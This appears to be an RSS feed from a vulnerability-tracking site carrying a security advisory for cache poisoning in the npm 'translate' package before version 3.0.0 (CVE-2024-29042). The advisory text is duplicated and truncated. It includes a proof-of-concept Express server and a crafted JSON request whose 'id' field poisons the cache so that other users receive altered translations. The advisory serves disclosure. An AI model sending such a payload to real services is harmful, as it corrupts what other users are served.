https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Mon, 19 Oct 2026 12:34:04 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-4599 EUVD-2026-4599 https://cve.radiocsirt.org/vuln/euvd-2026-4599 https://cve.radiocsirt.org/vuln/fkie_cve-2024-29042 <p>Translate is a package that allows users to convert text to different languages on Node.js and the browser. Prior to version 3.0.0, an attacker controlling the second variable of the `translate` function is able to perform a cache poisoning attack. They can change the outcome of translation requests made by subsequent users. The `opt.id` parameter allows the overwriting of the cache key. If an attacker sets the `id` variable to the cache key that would be generated by another user, they can choose the response that user gets served. Version 3.0.0 fixes this issue.</p> <p>Translate is a package that allows users to convert text to different languages on Node.js and the browser. Prior to version 3.0.0, an attacker controlling the second variable of the `translate` function is able to perform a cache poisoning attack. They can change the outcome of translation requests made by subsequent users. The `opt.id` parameter allows the overwriting of the cache key. If an attacker sets the `id` variable to the cache key that would be generated by another user, they can choose the response that user gets served. Version 3.0.0 fixes this issue.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2024-29042 https://cve.radiocsirt.org/vuln/ghsa-882j-4vj5-7vmj <p><strong>Affected:</strong> npm: translate</p> <p>### Summary An attacker controlling the second variable of the `translate` function is able to perform a cache poisoning attack. They can change the outcome of translation requests made by subsequent users.</p> <p>### Details The `opt.id` parameter allows the overwriting of the cache key. If an attacker sets the `id` variable to the cache key that would be generated by another user, they can choose the response that user gets served.</p> <p>### PoC Take the following simple server allowing users to supply text and the language to translate to. ```javascript import translate from &#34;translate&#34;; import express from &#39;express&#39;;</p> <p>const app = express(); app.use(express.json());</p> <p>app.post(&#39;/translate&#39;, async (req, res) =&gt; { const { text, language } = req.body; const result = await translate(text, language); return res.json(result); });</p> <p>const port = 3000; app.listen(port, () =&gt; { console.log(`Server is running on port ${port}`); }); ```</p> <p>We can send the following request to poison the cache: ``` {&#34;text&#34;:&#34;I hate you&#34;, &#34;language&#34;:{&#34;to&#34;:&#34;nl&#34;,&#34;id&#34;:&#34;undefined:en:nl:google:I love you&#34;}} ``` </p> <p>Now, any user that attempts to translate &#34;I love you&#34; to Dutch, will get &#34;I hate you&#34; in Dutch as the response. </p> <p>### Impact An attacker can co…</p> <p><strong>Affected:</strong> npm: translate</p> <p>### Summary An attacker controlling the second variable of the `translate` function is able to perform a cache poisoning attack. They can change the outcome of translation requests made by subsequent users.</p> <p>### Details The `opt.id` parameter allows the overwriting of the cache key. If an attacker sets the `id` variable to the cache key that would be generated by another user, they can choose the response that user gets served.</p> <p>### PoC Take the following simple server allowing users to supply text and the language to translate to. ```javascript import translate from &#34;translate&#34;; import express from &#39;express&#39;;</p> <p>const app = express(); app.use(express.json());</p> <p>app.post(&#39;/translate&#39;, async (req, res) =&gt; { const { text, language } = req.body; const result = await translate(text, language); return res.json(result); });</p> <p>const port = 3000; app.listen(port, () =&gt; { console.log(`Server is running on port ${port}`); }); ```</p> <p>We can send the following request to poison the cache: ``` {&#34;text&#34;:&#34;I hate you&#34;, &#34;language&#34;:{&#34;to&#34;:&#34;nl&#34;,&#34;id&#34;:&#34;undefined:en:nl:google:I love you&#34;}} ``` </p> <p>Now, any user that attempts to translate &#34;I love you&#34; to Dutch, will get &#34;I hate you&#34; in Dutch as the response. </p> <p>### Impact An attacker can co…</p> https://cve.radiocsirt.org/vuln/ghsa-882j-4vj5-7vmj https://cve.radiocsirt.org/vuln/gsd-2024-29042 gsd-2024-29042 https://cve.radiocsirt.org/vuln/gsd-2024-29042